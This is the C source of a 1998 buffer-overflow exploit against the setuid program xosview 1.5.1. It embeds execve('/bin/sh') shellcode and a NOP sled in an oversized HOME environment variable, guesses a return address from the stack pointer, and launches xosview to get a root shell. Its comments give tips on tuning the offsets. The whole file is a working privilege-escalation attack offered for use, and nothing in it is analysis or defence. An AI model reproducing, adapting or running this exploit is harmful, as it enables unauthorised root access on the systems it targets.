/* xosview 1.5.1 buffer overrun exploit
 * brought to you by Kossak (ldvg@rnl.ist.utl.pt)
 * 
 * Fri, 29 May 1998 18:14:22 +0100
 *
 * yep, this is a shameless rip from Aleph's tutorials, but it sure
 * works... Lets keep those exploits coming!! :)
 *
 * Thanks to Chris Evans for posting the bug yesterday on bugtraq.
 */

/* NOTE!!! xosview needs an open X display for this to work, so remember
 * to modify the source (line 62), with your ip.
 * The offset and buffer size work with me fine, but you might need to
 * change them.
 */

#include <stdlib.h>

#define DEFAULT_OFFSET                 1150
#define DEFAULT_BUFFER_SIZE            3500
#define NOP                            0x90

char shellcode[] =
	"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
	__asm__("movl %esp,%eax");
        }

void main(int argc, char *argv[]) {
	char *buff, *ptr;
        long *addr_ptr, addr;
        int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
        int i;

        if (!(buff = malloc(bsize))) {
        printf("Can't allocate memory.\n");
        	exit(0);
	}

        addr = get_sp() - offset;

        printf("xosview exploit by Kossak\n");
        printf("try changing the default values if you dont get root now.\n");
        printf("Using address: 0x%x\n", addr);

        ptr = buff;
        addr_ptr = (long *) ptr;
        for (i = 0; i < bsize; i+=4)
        	*(addr_ptr++) = addr;

	for (i = 0; i < bsize/2; i++)
        	buff[i] = NOP;

	ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
        for (i = 0; i < strlen(shellcode); i++)
		*(ptr++) = shellcode[i];

	buff[bsize - 1] = '\0';

        setenv("HOME", buff, 1);
        system("/usr/bin/X11/xosview -display 0:0"); /* your IP here */
}